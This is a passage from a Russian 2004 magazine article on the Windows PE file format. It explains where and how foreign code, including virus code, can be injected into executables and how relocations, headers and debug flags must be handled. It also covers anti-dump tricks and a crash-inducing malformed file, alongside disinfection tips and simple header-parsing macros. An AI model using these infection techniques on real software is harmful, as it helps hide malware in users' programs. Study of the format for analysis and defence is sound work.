чать с диска. Впрочем, этот механизм настолько прозра-
чен, что учитывать его совершенно необязательно.
Внедряемый код может как угодно перекраивать дис-
ковый файл, но виртуальный образ менять не должен.
Точнее, после передачи управления на оригинальную точ-
ку входа виртуальный образ должен быть приведен в ис-
ходный вид. При этом допускается:
! увеличивать размер страничного имиджа, записыва-
ясь в его конец;
! оккупировать незанятые области (например, те, что ис-
пользуются для выравнивания);
! выделять память на стеке/куче, перемещая туда свое
тело.
Поскольку секции располагаются в файле по выров-
ненным адресам, между ними практически всегда оста-
ется свободное пространство, уверенно вмещающее в
себя крохотный загрузчик, подкачивающий «хвост» виру-
са из оверлея. Как вариант (если нет другого оверлея),
можно увеличить размер последней секции и записаться
в ее конец. Более радикально настроенный код может
сбросить часть чужой секции в оверлей, усевшись на ос-
вободившееся место, а затем, непосредственно перед
передачей управления, восстановить ее обратно. Внешний
антураж выглядит просто замечательно, но задумайтесь,
что произойдет, если:
! сбрасываемый фрагмент секции будет содержать одну
или несколько служебных таблиц, например таблицу
импорта;
! сбрасываемый фрагмент секции будет содержать один
или несколько перемещаемых элементов.
Таким образом, перед тем как сбрасывать что бы то ни
было в оверлей, внедряемый код должен проанализировать
все служебные структуры, прописанные в DATA DIRECTORY,
чтобы ненароком не сбросить ничего лишнего. Затем необ-
ходимо проанализировать таблицу перемещаемых элемен-
тов (если она есть) и либо выбрать участок, свободный от
перемещений, либо удалить соответствующие элементы из
таблицы с тем, чтобы впоследствии обработать их самосто-
ятельно. До ресурсов дотрагиваться ни в коем случае нельзя,
иначе проводник иконки не найдет!
Но хватит говорить о плохом. Давайте лучше о хоро-
шем. Все секции стандартного PE-файла, за исключением
секции с отладочной информацией, используют только RVA/
RRA- и VA-адресацию, а это значит, что мы можем свобод-

но перемещать секции внутри дискового образа: менять
их местами, внедрять между ними оверлеи – и все это ни-
как не скажется на работоспособности файла, поскольку
страничный имидж во всех случаях будет один и тот же!
Это не покажется удивительным, если вспомнить, что вир-
туальный и физический адреса каждой секции хранятся в
различных, никак не связанных друг с другом полях, поэто-
му внедрение кода в середину файла еще не обозначает
его внедрения в середину страничного имиджа.
Внедряться в конец файла – слишком просто, неинте-
ресно и небезопасно. Внедряться в начало кодовой секции
со сбросом оригинального содержимого последнего в овер-
лей – слишком сложно. А что, если… попробовать внедрить-
ся перед началом кодовой секции, передвинув ее начало в
область младших адресов? Виртуальный образ окажется
при этом практически нетронутым и останется лежать по
тем же самым адресам, которые занимал до вторжения,
что сохранит файлу работоспособность, попутно лишая раз-
работчика внедряемого кода контакта с перемещаемыми
элементами и прочими служебными структурами данных.
Все это так, за исключением одного досадного «но». Пер-
вая секция подавляющего большинства файлов уже начи-
нается по наименьшему из всех доступных адресов, и пе-
редвигать ее просто некуда. Правда, под NT можно отклю-
чить выравнивание и делать с секциями все что угодно, но
тогда файл не сможет работать под 9x (подробнее см.
«FileAlignment/SectionAlignment»). То же самое относится и
к уменьшению базового адреса загрузки, компенсируемо-
го увеличением стартовых адресов всех секций, в резуль-
тате чего положение страничного имиджа не изменяется, а
мы выигрываем место для внедрения своего собственного
кода. Увы! Служебные структуры PE-файлов активно ис-
пользуют RVA-адресацию, отсчитываемую от базового ад-
реса загрузки, поэтому просто взять и передвинуть базо-
вый адрес не получится – необходимо как минимум про-
анализировать таблицы экспорта/импорта, таблицу ресур-
сов и скорректировать все RVA-адреса, а как максимум…
типичный базовый адрес загрузки для исполняемых фай-
лов – 400000h выбран далеко не случайно. Это минималь-
ный базовый адрес загрузки в Windows 9x, и если он будет
меньше этого числа, системный загрузчик попытается пе-
реместить файл, потребовав таблицу перемещаемых эле-
ментов, а у исполняемых файлов она с некоторого време-
ни по умолчанию отсутствует (ну разве что линкер при ком-
поновке специально попросите). С динамическими библио-
теками ситуация не так плачевна (их базовый адрес заг-
рузки выбирается с запасом, да и таблица перемещаемых
элементов, как правило, есть), однако сложность реализа-
ции внедряемого кода просто чудовищна, к тому же нестан-
дартный адрес загрузки сразу бросается в глаза. Так что
ценность этого приема очень сомнительна…
Тем не менее раздвигать страничный имидж все-таки
можно! Секция кода практически никогда не обращается к
секции данных по относительным адресам, а все абсолют-
ные адреса в обязательном порядке должны быть перечис-
лены в таблице перемещаемых элементов (конечно, при
условии, что она вообще есть). Остаются лишь RVA/VA-
адреса служебных структур данных, однако их реально
скорректировать и вручную. Расширение страничного имид-
№6(19), июнь 2004
программирование
жа с внедрением в конец кодовой секции без сброса ее в
оверлей – занятие не для слабонервных, однако игра сто-
ит свеч, поскольку такой код идеально вписывается в ар-
хитектуру существующего файла и не привлекает к себе
никакого внимания. Грубо говоря, это единственный спо-
соб вторжения, который нельзя распознать визуально (под-
робнее см. статью «Борьба с вирусами» в октябрьском но-
мере журнала «Системного администратора» за 2003 год).
Описание основных полей
PE-файла
Как уже говорилось, полностью описывать PE-файл мы
не собираемся и предполагаем, что читатели:
! регулярно штудируют фирменную спецификацию пе-
ред сном;
! давным-давно распечатали файл WINNT.h из SDK и
обклеили им стены своей хакерской берлоги на манер
обоев.
Все нижеприведенные структуры взяты именно отту-
да (внимание – зачастую они именуются совсем не так,
как в спецификации, что вносит в ряды разработчиков
жуткую путаницу и сумятицу).
Здесь описываются не все, а лишь самые интересные
и наименее известные поля, свойства и особенности по-
ведения PE-файлов. За остальными – обращайтесь к до-
кументации.
[old-exe] e_magic
Содержит сигнатуру «MZ», доставшуюся в наследство от
Марка Збиновски – ведущего разработчика MS-DOS и
генерального архитектора EXE-формата. Если e_magic
равен «MZ», загрузчик приступает к поиску «PE»-сигна-
туры, в противном случае его поведение становится нео-
пределенным. NT и 9x поддерживают недокументирован-
ную сигнатуру «ZM», передающую управление на MS-DOS
заглушку и обычно выводящую на экран «This program
cannot be run in DOS mode», что в данном случае не соот-
ветствует действительности, поскольку программа запус-
кается из Windows!
Один из приемов заражения PE-файлов сводится к
внедрению в MS-DOS заглушки, динамически восстанав-
ливающую сигнатуру «MZ» и делающую себе exec для пе-
редачи управления программе-носителю. Для восстанов-
ления пораженных объектов просто замените «ZM» на
«MZ» и при запуске файла из Windows (включая MS-DOS
сессию) вирус больше никогда не получит управления.
Возможно использовать сигнатуру «NE», передающую
управление на заглушку и устанавливающую значения
сегментных регистров как в com, а не exe (DS == CS). Ни
HIEW, ни IDA с таким файлом работать не могут и сразу
же после его загрузки вылетают в астрал.
[old-exe] e_cparhdr
Размер old-exe заголовка в параграфах (1 параграф ра-
вен 200h байтам). В настоящее время никем не проверя-
ется (ну разве что дампером каким), однако закладываться
на это не стоит. Минимальный размер заголовка состав-
57
 программирование
ляет 1 параграф, а максимальный ограничен размером
самой MS-DOS заглушки, т.е. если он будет больше поля
e_lfanew, файл может и не загрузиться.
[old-exe] e_lfanew
Смещение PE-заголовка в байтах от начала файла. Дол-
жно указывать на первый байт PE-сигнатуры «PE\x0\x0»,
выровненной по границе двойного слова, причем если сум-
ма image base и e_lfanew вылетает за пределы отведен-
ного загрузчиком адресного пространства, такой файл не
грузится.
В памяти PE-заголовок (вместе со всеми остальными
заголовками) всегда располагается перед первой секци-
ей, вплотную прижимаясь к ее передней границе («вплот-
ную» – значит, что расстояние между виртуальным адре-
сом первой секции и концом заголовка должно быть мень-
ше, чем Section Alignment). На диске PE-заголовок может
быть расположен в любом месте файла, например, в его се-
редине или конце (т.е. между началом файла и первым бай-
том PE-заголовка могут обосноваться одна или несколько
секций). Не знаю, сойдет ли какой загрузчик от этого с ума,
но в Windows 9x/NT все работает. При этом SizeOf Header
должно быть равно действительному размеру PE-заголов-
ка плюс e_lfanew; SectionAlignment >= SizeOfHeaders и
FirstSection.RVA >= SizeOfHeaders.
[IMAGE_FILE_HEADER] Machine
Тип центрального процессора, под который скомпилиро-
ван файл. Если здесь будет что-то отличное от 14Ch, на
I386-машинах файл просто не загрузится.
[IMAGE_FILE_HEADER] NumberOfSections
Количество секций. Файл, не содержащий ни одной сек-
ции, завешивает Windows 9x и корректно прерывает свою
загрузку под Windows NT. Максимальное количество сек-
ций определяется особенностями реализации конкретно-
го лоадера. Так, NT переваривает «всего» 60h секций.
Другие загрузчики могут иметь и более жесткие ограни-
чения. В общем, количество секций должно быть сведено
к минимуму.
Если заявленное количество секций меньше числа за-
писей в Section Table, то остальные секции просто не гру-
зятся, но в целом такой файл обрабатывается вполне нор-
мально. Настоящее веселье начинается, когда Numbers
OfSection превышает количество реально существующих
секций, вылетая за конец Section Table. Если здесь окажутся
нули (как чаще всего и бывает), Windows 9x отреагирует
вполне нормально, чего нельзя сказать о Windows NT, на-
отрез отказывающейся загружать такой файл. Файл с
количеством секций, равным нулю, мертво завешивает
Windows 9x, в то время как Windows NT обрабатывает та-
кую ситуацию вполне нормально, выдавая неизменное
«файл не является приложением win32».
Попутно заметим, что многие упаковщики исполняемых
файлов по окончании процесса распаковки искажают это
поле в памяти либо увеличивая, либо уменьшая его значе-
ние, в результате чего дамперы не могут корректно сбро-
сить такой образ на диск. В pe-tools/lord-pe используется до-
вольно ненадежный алгоритм, сканирующий Section Table и
58
отталкивающийся от того, что если PointerToRelocations,
PointerToLinenumbers, NumberOfRelocations и NumberOf
Linenumbers равны нулю, а Characteristics – нет, значит, это
секция. Эту святую простоту ничего не стоит обмануть!
На самом деле, проверку следует ужесточить: если оче-
редная запись в Section Table выглядит как секция (т.е.
все поля валидны) – это секция и соответственно наобо-
рот. Под валидностью здесь понимается, что адрес нача-
ла секции выровнен в памяти и лежит непосредственно
за концом предыдущей секции, а размер секции не выле-
тает за пределы страничного имиджа.
Ниже приведен простой макрос, считывающий содер-
жимое поля NumberOfSection по указателю на первый байт
PE-заголовка.
Ëèñòèíã 1. Ñ÷èòûâàòåëü ñîäåðæèìîãî NumberOfSection
// p – óêàçàòåëü íà PE-çàãîëîâîê
#define xNumOfSec(p) (*((WORD*) (p+0x6)))
[image_file_header] PointerToSymbolTable/
NumberOfSymbols
Указатель на размер отладочной информации в объектив-
ных файлах. В настоящее время не используется (да и
раньше он не использовался тоже). Линкеры топчут оба
поля в ноль, отладчики, дизассемблеры и системный заг-
рузчик игнорируют его. Для предотвращения сброса дам-
па программы на диск запишите сюда нечто отличное от
нуля и подтяните (в памяти) поле NumberOfSection от ре-
ального значения до безобразия. Текущие версии pe-tools
сдохнут от зависти, но если NEOx сподобится встроить
нормальный валидатор, этот трюк перестанет работать.
[image_file_header] SizeOfOptionalHeader
Размер опционального заголовка, идущего следом за
IMAGE_FILE_HEADER. Должен указывать на первый байт
Section Table (т.е. e_lfanew + 18h + SizeOfOptionalHeader =
&Section Table), где 18h – sizeof(IMAGE_FILE_HEADER).
Если это не так, файл не загружается. И хотя некоторые
загрузчики вычисляют указатель на Section Table, оттал-
киваясь от NumberOfRvaAndSizes, закладываться на это
не стоит, т.к. системные загрузчики этого мнения не раз-
деляют.
Ëèñòèíã 2. Ìàêðîñû, âîçâðàùàþùèå ðàçìåð îïöèîíàëüíîãî çàãî-
ëîâêà, óêàçàòåëü íà òàáëèöó ñåêöèé, âû÷èñëåííûé ñòàíäàðòíûì
è àëüòåðíàòèâíûì ìåòîäàìè.  êà÷åñòâå âõîäíîãî àðãóìåíòà
âñå òðîå ïðèíèìàþò óêàçàòåëü íà ïåðâûé áàéò PE-çàãîëîâêà
#define xopt_sz(p) ↵
(*((WORD*)(p + 0x14 /* size of optional header */)))
#define pSectionTable(p) ↵
((BYTE*)(xopt_sz(p)+0x18 /* size of image heafer */+p))
#define pSectionTable_alt(p) ↵
((BYTE*)((*((DWORD*)(p+0x74)))*8 + 0x78 + p))
[image_file_header] Characteristics
Атрибуты файла. Если (Characteristics & IMAGE_FILE_
EXECUTABLE_IMAGE) == 0, файл не грузится, т.е. первый,
считая от нуля, бит характеристик обязательно должен
быть установлен. У динамических библиотек должно быть
установлено как минимум два атрибута: IMAGE_

FILE_EXECUTABLE_IMAGE/0002h и IMAGE_FILE_DLL/2000h,
то же самое относится и к исполняемым файлам, экспор-
тирующим одну или более функций. Если атрибут
IMAGE_FILE_DLL установлен, но экспорта нет, исполняе-
мый файл запускаться не будет.
Остальные атрибуты не столь фатальны и под
Windows NT/9x безболезненно переносят любые значения,
хотя по идее делать этого не должны. Взять хотя бы
IMAGE_FILE_BYTES_REVERSED_LO и IMAGE_FILE_BYTES_
REVERSED_HI, описывающие порядок следования байт
в слове. Можно глупый вопрос? Какому абстрактному со-
стоянию процессора соответствует одновременная уста-
новка обоих атрибутов? И какие действия должен пред-
принять загрузчик, если установленный порядок следо-
вания байт будет отличаться от поддерживаемого процес-
сором? Операционные системы от Microsoft, просто игно-
рируют эти атрибуты за ненадобностью. То же самое от-
носится и к атрибуту IMAGE_FILE_32BIT_MACHINE/0100h,
которым по умолчанию награждаются все 32-разрядные
файлы (16-разрядный PE – это сильно). Впрочем, без край-
ней нужды лучше не экспериментировать и заполнять все
поля правильно.
Весьма интересен флаг IMAGE_FILE_DEBUG_STRIPPED/
0200h, указывающий на отсутствие отладочной информа-
ции и запрещающий отладчикам работать с ней даже тог-
да, когда она есть. Отладочная информация привязана к
абсолютным смещениям, отсчитываем от начала файла
и при внедрении в файл чужеродного кода путем его рас-
ширения, отладочная информация перестает соответство-
вать действительности, и поведение отладчиков становит-
ся крайне неадекватным. Для решения проблемы суще-
ствует три пути:
! скорректировать отладочную информацию (но для это-
го нужно знать ее формат);
! отрезать отладочную информацию от файла (но для
этого ее надо найти, кроме того, за концом файла мо-
жет быть расположен посторонний оверлей);
! установить флаг IMAGE_FILE_DEBUG_STRIPPED.
Последний способ самый простой, но и самый надеж-
ный. Соответственно для восстановления пораженных
объектов необходимо извлечь чужеродный код из тела
файла и сбросить флаг IMAGE_FILE_DEBUG_STRIPPED,
в противном случае отладчик не покажет исходный код
отлаживаемого файла.
Иначе ведет себя флаг IMAGE_FILE_RELOCS_STRIPPED,
запрещающий перемещать файл, когда релокаций нет.
Когда же они есть, загрузчик может с полным основани-
ем не обращать на него внимания. Зачем же тогда этот
атрибут нужен? Ведь переместить файл без таблицы пе-
ремещаемых элементов все равно невозможно… А вот
это еще как сказать! Служебные структуры PE-файла ис-
пользуют только относительную адресацию и потому лю-
бой PE-файл от рождения уже перемещаем. Вся загвозд-
ка в программном коде, активно использующем абсолют-
ную адресацию (ну так уж устроены современные компи-
ляторы). Технически ничего не стоит создать PE-файл, не
содержащий перемещаемых элементов и способный ра-
ботать по любому адресу (давным-давно, когда землей
№6(19), июнь 2004
программирование
владели динозавры и никаких операционных систем еще
не существовало, этим мог похвастать практически каж-
дый). Таким образом, возникает неоднозначность: то ли
перемещаемых элементов нет, потому что файл полнос-
тью перемещаем и fixup ему не нужны, то ли они просто
недоступны и перемещать такой файл ни в коем случае
нельзя.
По умолчанию ms link версии 6.0 и старше внедряет
перемещаемые элементы только в DLL, а исполняемые
файлы сходят с конвейера неперемещаемыми, однако
рассчитывать на это нельзя и при внедрении собственно-
го кода в чужеродный PE-файл необходимо удостоверить-
ся, что он не содержит перемещаемых элементов, в про-
тивном случае возникают следующие программы:
! ваш код не может закладываться на image base и дол-
жен быть готов к загрузке по любому адресу;
! модификация ячеек, относящихся к перемещаемым
элементам, обычно заканчивается крахом программы,
поскольку они автоматически «исправляются» систем-
ным загрузчиком.
Допустим, в программе был код типа: mov eax, 0400000h
(B8 00 00 40 00), поверх которого мы начертали: push ebp/
mov ebp, esp (55/8B EC). Допустим также, что в силу не-
которых причин базовый адрес загрузки изменился с
40.00.00h на 1.00.00.00h. Ячейка памяти, ранее хранящая
непосредственный операнд инструкции mov, будет пере-
делана в 1.00.00.00h, что превратит команду mov ebp, esp
в add [eax], al со всеми вытекающими отсюда последстви-
ями.
Существует по меньшей мере три пути решения этой
проблемы:
! убить fixup (но тогда файл станет неперемещаемым, а
ведь некоторые исполняемые файлы подспудно экс-
портируют одну или несколько функций и без fixup не
смогут работать);
! перезаписывать только неперемещаемые ячейки (но
это приведет к размазыванию кода по всему файлу,
существенно усложняя его алгоритм);
! обрабатывать перемещаемые элементы самостоятель-
но, чтобы система могла перемещать файл при необ-
ходимости, но не корежила наш код, подсуньте ей пус-
тую таблицу перемещаемых элементов (подробнее см.
«Перемещаемые элементы»).
[image_optional_header] Magic
Состояние отображаемого файла. Если здесь будет что-
то отличное от 10Bh (сигнатура исполняемого отображе-
ния), файл не загрузится. PE64-файлам соответствует
сигнатура 20Bh (все адреса у них 64-разрядные), а в ос-
тальном они ведут себя как и нормальные 32-разрядные
PE-файлы.
[image_optional_header] SizeOfCode/
SizeOfInitializedData/SizeOfUninitializedData
Суммарный размер секций кода, инициализированных и
неинициализированных данных (т.е. секций, имеющих
атрибуты IMAGE_SCN_CNT_CODE/20h, IMAGE_SCN_CNT_
INITIALIZED_DATA/40h и IMAGE_SCN_CNT_UNINITIALIZED_
59
 программирование
DATA/80h), никем не проверяется и может принимать лю-
бые, в том числе и заведомо бессмысленные, значения.
Всякий линкер заполняет эти поля по-своему: одни
берут физический размер секций на диске, другие – вир-
туальный размер в памяти, выровненный по границе
Section Alignment, причем алгоритм определения принад-
лежности секции к тому или иному типу не стандартизи-
рован и в полку разработчиков наблюдается большой раз-
брод и шатание. Наиболее демократичное сословие оп-
ределяет «родословную» по принципу OR (т.е. секция с
атрибутами 60h считается и секцией кода, и секцией дан-
ных). Иначе действует аристократическая прослойка, при-
держивающаяся принципа XOR и относящая к данным
только секции с атрибутами 40h (80h?). Для секции кода
сделано некоторое послабление (ведь всякий код на ка-
ком-то этапе обработки представляется данными) и сек-
ция с атрибутами 60h или A0h все-таки относится к коду
(в противном случае образовались бы неклассифицируе-
мые секции, размер которых не был подсчитан, а этого
допускать нельзя – религия не велит).
Как бы там ни было, системному загрузчику на это глу-
боко наплевать (давным-давно, когда секции кода, данных
и неинициализированных данных помещались в «свои»
сегменты, эти поля еще имели какой-то смысл, но сейчас
это рудиментный пережиток старины).
[image_optional_header] BaseOfCode/
BaseOfData
Относительные базовые адреса кодовой секции и секции
данных. Никем не проверяется и всяким компоновщиком
заполняется по-своему. Для восстановления душевного
равновесия оба поля можно смело сбросить в ноль, отда-
вая дань древним буддийским традициям.
[image_optional_header] AddressOfEntryPoint
Относительный адрес точки входа, отсчитываемый от на-
чала Image Base. Может указывать в любую точку адрес-
ного пространства, в том числе и не принадлежащую стра-
ничному имиджу (например, направленную на какую-ни-
будь функцию внутри ядра или dll). Для передачи управ-
ления на адреса, лежащие ниже Image Base, можно ис-
пользовать целочисленное переполнение. Правда, не
факт, что все загрузчики поймут нас правильно (NT пой-
мет точно, остальные не проверял), так что закладывать-
ся на это нельзя.
Если точка входа направлена на заголовок или после-
днюю секцию файла, антивирусы начинают обвинять файл
в зараженности вирусом, поэтому во избежание недора-
зумений точку входа лучше всего располагать в первой
секции файла, которой по обыкновению является кодо-
вая секция .text.
Для exe-файлов точка входа соответствует адресу, с
которого начинается выполнение и не может быть равна
нулю, а для динамических библиотек – функции диспет-
чера, условно называемой нами DllMain, хотя на самом
деле при компоновке dll с настройками по умолчанию ком-
поновщик внедряет стартовый код, перехватывающий на
себя управление и вызывающий «настоящую» DllMain по
своему желанию. DllMain вызывается при следующих об-
60
стоятельствах – загрузка/выгрузка dll и создание/уничто-
жение потока, если точка входа в dll равна нулю, функция
DllMain не вызывается.
Обязательно учитывайте это при внедрении собственно-
го кода в dll! Чтобы отличить dll от обычных файлов, следует
проанализировать поле характеристик (см. «Characteristics»).
Опираться на наличие/отсутствие таблицы экспорта ни в
коем случае нельзя, поскольку экспортировать функции
могут не только динамические библиотеки, но исполняе-
мые файлы! К тому же иногда встречаются динамичес-
кие библиотеки, не экспортирующие ни одной функции.
[image_optional_header] ImageBase
Базовый адрес загрузки страничного имиджа, измеряемый
в абсолютных адресах, отсчитываемых от начала сегмен-
та или, в терминологии оригинальной спецификации,
preferred address (предпочтительный адрес загрузки). При
наличии таблицы перемещаемых элементов файл может
быть загружен по адресу, отличному от указанного в за-
головке. Это происходит в тех случаях, когда требуемый
адрес занят системой, динамической библиотекой или
загрузчику захотелось что-то подвигать.
Если предпочтительный адрес совпадает с адресом
уже загруженной системной библиотеки, поведение пос-
ледней становится неадекватной. Отладчик, интегриро-
ванный в Microsoft Visual Studio, запущенный под управ-
лением NT, проскакивает точку входа и умирает где-то в
окрестностях ядра (отлаживамая программа при этом про-
должает исполняться). Под Windows 98 такие файлы от-
лаживаются вполне нормально, но при выходе из Windows
уводят ее в астрал.
Менять чужой Image Base ни в коем случае нельзя, т.к.
перемещаемым элементам в этом случае будет просто не
отчего отталкиваться. И хотя системный загрузчик в боль-
шинстве случаев загрузит такой файл вполне нормально,
работать он не сможет, ну во всяком случае до тех пор,
пока все перемещаемые элементы не будут скорректиро-
ваны надлежащим образом.
[image_optional_header] FileAlignment/
SectionAlignment
Кратность выравнивания секций на диске и в памяти.
Очень интересное поле! Официально о кратности вырав-
нивания известно лишь то, что она представляет собой
степень двойки, причем:
! Section Alignment должно быть больше или равно
1000h байт;
! File Alignment должно быть больше или равно
200h байт;
! Section Alignment должно быть больше или равно
File Alignment.
Если хотя бы одно из этих условий не соблюдается,
файл не будет загружен.
В Windows NT существует недокументированная воз-
можность отключения выравнивания, основанная на том,
что загрузку прикладных исполняемых файлов/динами-
ческих библиотек и системных драйверов обрабатывает
один и тот же загрузчик.

Если Section Alignment == File Alignment, то последнее
может принимать любое значение, представляющее со-
бой степень двойки (например, 20h). Условимся называть
такие файлы «невыровненными». Хотя этот термин не
вполне корректен, лучшего пока не придумали.
К невыровненным файлам предъявляется следующее,
достаточно жесткое требование – виртуальные и физичес-
кие адреса всех секций обязаны совпадать, т.е. странич-
ный имидж должен полностью соответствовать своему
дисковому образу. Впрочем, никакое правило не обходится
без исключений, и виртуальный размер секций может быть
меньше их физического размера, но не более чем
Section Alignment – 1 байт (т.е. секция все равно будет
выровнена в памяти). Самое интересное, что это данное
правило рекурсивно, и даже среди исключений встреча-
ются исключения – если физический размер последней
секции вылетает за пределы загружаемого файла, опе-
рационная система выбрасывает голубой экран смерти и…
погибает (во всяком случае, w2k sp3 ведет себя именно
так, остальные не проверял). Полномочия администрато-
ра для этого не требуются и даже самая ничтожная лич-
ность может устроить грандиозный DoS.
Операционные системы семейства Windows 9x не спо-
собны обрабатывать невыровненные файлы и с возмуще-
нием отказывают им в загрузке, выплевывая целых два
диалоговых окна. Впрочем, ареал обитания Windows 9x
неуклонно сокращается, и будущее принадлежит NT.
Для создания невыровненных файлов можно восполь-
зоваться линкером от Microsoft, задав ему ключ /ALIGN:32
совместно с ключом /DRIVER. Без ключа /DRIVER ключ
/ALIGN будет проигнорирован и линкер использует крат-
ность выравнивания по умолчанию.
Ëèñòèíã 3. Ìàêðîñû äëÿ âûðàâíèâàíèÿ ñ îêðóãëåíèåì «âíèç» è «ââåðõ»
#define Is2power(x) (!(x & (x-1)))
#define ALIGN_DOWN(x, align) (x & ~(align-1))
#define ALIGN_UP(x, align) ↵
((x & (align-1))?ALIGN_DOWN(x,align)+align:x)
[image_optional_header] SizeOfImage
Размер страничного имиджа, выровненный на величину
Section Alignment. Размер страничного имиджа всегда ра-
вен виртуальному адресу последней секции плюс ее раз-
мер (выровненный, виртуальный). Если размер страничного
образа вычислен неправильно, файл не загружается.
Ëèñòèíã 4. Ìàêðîñ äëÿ âû÷èñëåíèÿ ðåàëüíîãî ðàçìåðà ñòðàíè÷-
íîãî èìèäæà
#define xImageSize(p) (*(DWORD*)(pLastSection(p) + 0xC ↵
/* va */) + ALIGN_UP(*(DWORD*)(pLastSection(p) + 0x8 ↵
/* v_sz */), xObjectAlign(p)))
[image_optional_header] SizeOfHeaders
Суммарный размер всех заголовков, сообщающий загруз-
чику, сколько байт читать от начала файла. С этим полем
связано два ограничения: во-первых, SizeOfHeaders дол-
жен быть выбран так, чтобы загрузчик считал все, что ему
необходимо прочитать, а во-вторых, он не может превы-
шать RVA первой секции (поскольку в противном случае
№6(19), июнь 2004
программирование
какая-то часть секции оказалась бы спроецированной на
область памяти, принадлежащей заголовку, а это недо-
пустимо, ибо ни на какую страницу файла не может ото-
бражаться более одного сектора одновременно).
Обычно SizeOfHeaders устанавливается на конец Section
Table, однако это не самое лучшее решение. Судите сами.
Совокупный размер всех заголовков при стандартной MS-
DOS заглушке составляет порядка ~300h байт или даже
менее того, в то время как физический адрес первой сек-
ции – от 400h байт и выше. Отодвинуть секцию назад
нельзя – выравнивание не позволяет (см. «FileAlignment/
SectionAlignment»). Правда, если вынуть MS-DOS заглуш-
ку, можно ужать SizeOfHeaders до 200h байт, в аккурат
перед началом первой секции, но это уже изврат. Короче
говоря, если следовать рекомендациям от Microsoft,
~100h байт мы неизбежно теряем, что не есть хорошо. Вот
некоторые линкеры и размещают здесь таблицу имен, со-
держащую перечень загружаемых DLL или что-то типа
того. Поэтому, чтобы ненароком не нарваться на ковар-
ный конфликт, лучше всего подтянуть SizeOfHeaders к
min(pFirstSection->RawOffset, pFirstSection->va).
Некоторые нехорошие программы (вирусы, упаковщи-
ки, дамперы) устанавливают SizeOfHeader на raw offset
первой секции, что неправильно. Между концом всех за-
головков и физическим началом первой секции может
быть расположено любое, кратное File Alignment, количе-
ство байт, например, 1 гигабайт, и это при том, что вирту-
альный адрес первой секции – 1000h. Как такое может
быть? А очень просто – SizeOfHeaders <= 1000h и остаток
нашего гигабайта не читается и не проецируется в память,
поэтому никаких конфликтов и не возникает. Что может
быть в этом гигабайте? Ну, например, хитрый оверлей,
внедренный тем же вирусом (и такие вирусы уже есть).
[image_optional_header] CheckSum
Контрольная сумма файла. Проверяется только NT, да и
то лишь при загрузке некоторых системных библиотек и,
разумеется, самого ядра. Алгоритм расчета можно найти
в IMAGEHEL.DLL функция CheckSumMappedFile. По слу-
хам, ее исходные тексты входят в SDK. У меня есть SDK,
но ничего подобного я там не видел (может, плохо искал?).
Впрочем, алгоритм расчета тривиален и декомпилирует-
ся на ура.
[image_optional_header] Subsystem
Требуемая подсистема, которую операционная система
должна предоставить файлу. Может принимать следую-
щие значения:
00h IMAGE_SUBSYSTEM_UNKNOWN:
Неизвестная подсистема, файл не загружается.
n01h IMAGE_SUBSYSTEM_NATIVE:
Подсистема не требуется, файл исполняется в «родном»
окружении ядра и скорее всего представляет собой драй-
вер устройства. Обычным путем не загружается, если вы
пишете вирус/упаковщик/протектор, ни в коем случае не
обрабатывайте таких файлов, если только точно не увере-
ны, в том, что вы делаете. Внимание: при загрузке драйве-
61
 программирование
ров Windows игнорирует поле подсистемы и оно может быть
любым, поэтому, если Subsystem != IMAGE_SUBSYSTEM_
NATIVE это еще не значит, что данный файл не является
драйвером.
02h IMAGE_SUBSYSTEM_WINDOWS_GUI:
Графическая win32 подсистема. Операционная система
загружает файл нормальным образом, ну а дальше пусть
все, что ему нужно, добываем сам.
03h IMAGE_SUBSYSTEM_WINDOWS_CUI:
Терминальная (она же консольная) win32 подсистема. То
же самое, что и IMAGE_SUBSYSTEM_WINDOWS_GUI, но
в этом случае файлу на халяву достается автоматически
создаваемая консоль с готовыми дескрипторами ввода/
вывода. Вообще говоря, разница между консольными и
графическими приложениями очень условна – консольные
приложения могут вызывать GUI32/USER32-функции, а
графические приложения – открывать одну или несколь-
ко консолей (например, в отладочных целях). Кстати го-
воря, с этим связана одна забавная проблема, с которой
сталкиваются многие «программисты», пытающиеся по-
давить создание ненужного им окна (ну мало ли, может
они шпиона какого пишут, а это окно его демаскирует).
Предотвратить автоматическое создание окна очень про-
сто – достаточно… не создавать его!
05h IMAGE_SUBSYSTEM_OS2_CUI:
Подсистема OS/2. Только для приложений OS/2 (одним из
которых, кстати говоря, является всем известный HIEW)
и только для Windows NT. Windows 9x не может обраба-
тывать такие файлы.
07h IMAGE_SUBSYSTEM_POSIX_CUI:
Подсистема POSIX. Только для приложений UNIX и толь-
ко для Windows NT.
09h IMAGE_SUBSYSTEM_WINDOWS_CE_GUI:
Файл предназначен для исполнения в среде Windows CE.
Ни Windows NT, ни Windows 9x не могут обрабатывать
такие файлы.
0Ah MAGE_SUBSYSTEM_EFI_APPLICATION:,
0Bh IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER:,
0Ch IMAGE_ SUBSYSTEM_EFI_RUNTIME_DRIVER:
Подсистема EFI (Extensible Firmware Initiative).
[image_optional_header] DllCharacteristics
Очень странное поле. Мэтт Питрек пишет, что оно опре-
деляет набор флагов, указывающих, при каких условиях
точка входа в DLL получает управление (как то, загрузка
dll в адресное пространство процесса, создание/заверше-
ние нового потока и выгрузка dll из памяти). В специфи-
кации на PE-формат эти поля помечены как зарезерви-
рованные и Windows игнорирует их значение, поэтому у
большинства файлов оно равно нулю.
Согласно спецификации 6.0 от 1999 года (самой све-
жей спецификации на сегодняшний день), загрузчик дол-
жен поддерживать и другие флаги: 800h – не биндить об-
62
раз, 2000h – загружать драйвер как WDM драйвер; 8000h –
файл поддерживает работу под терминальным сервером.
Экспериментальная проверка показала, что W2K игнори-
рует эти флаги.
[image_optional_header] SizeOfStackReserve/
SizeOfStackCommit, SizeOfHeapReserve/
SizeOfHeapCommit
Объем зарезервированной/выделенной памяти под стек/
кучу в байтах. Если SizeOfCommit > SizeOfReverse файл
не загружается. Ноль обозначает значение по умолчанию.
[image_optional_header]
NumberOfRvaAndSizes
Количество элементов (не байт) в DATA_DIRECTORY, сле-
дующей непосредственно за этим полем. Из-за грубых
ошибок в системном загрузчике компоновщики от Borland
и Microsoft всегда выставляют полный размер директо-
рии, равный 10h, даже если реально его не используют.
Например, Windows 9x не проверяет, что NumberOfRva
AndSizes >= RELOCATION и/или RESOURCE и если под-
сунуть ему запрос к одной из этих секций, а таких дирек-
торий нет – это конец. Windows NT не проверяет (при заг-
рузке dll) «достаточности» TLS_DIRECTORY и если этот
TLS-механизм активирован, а TLS-директории нет – опять
кранты.
Компоновщик Юрия Харона выгодно отличается тем,
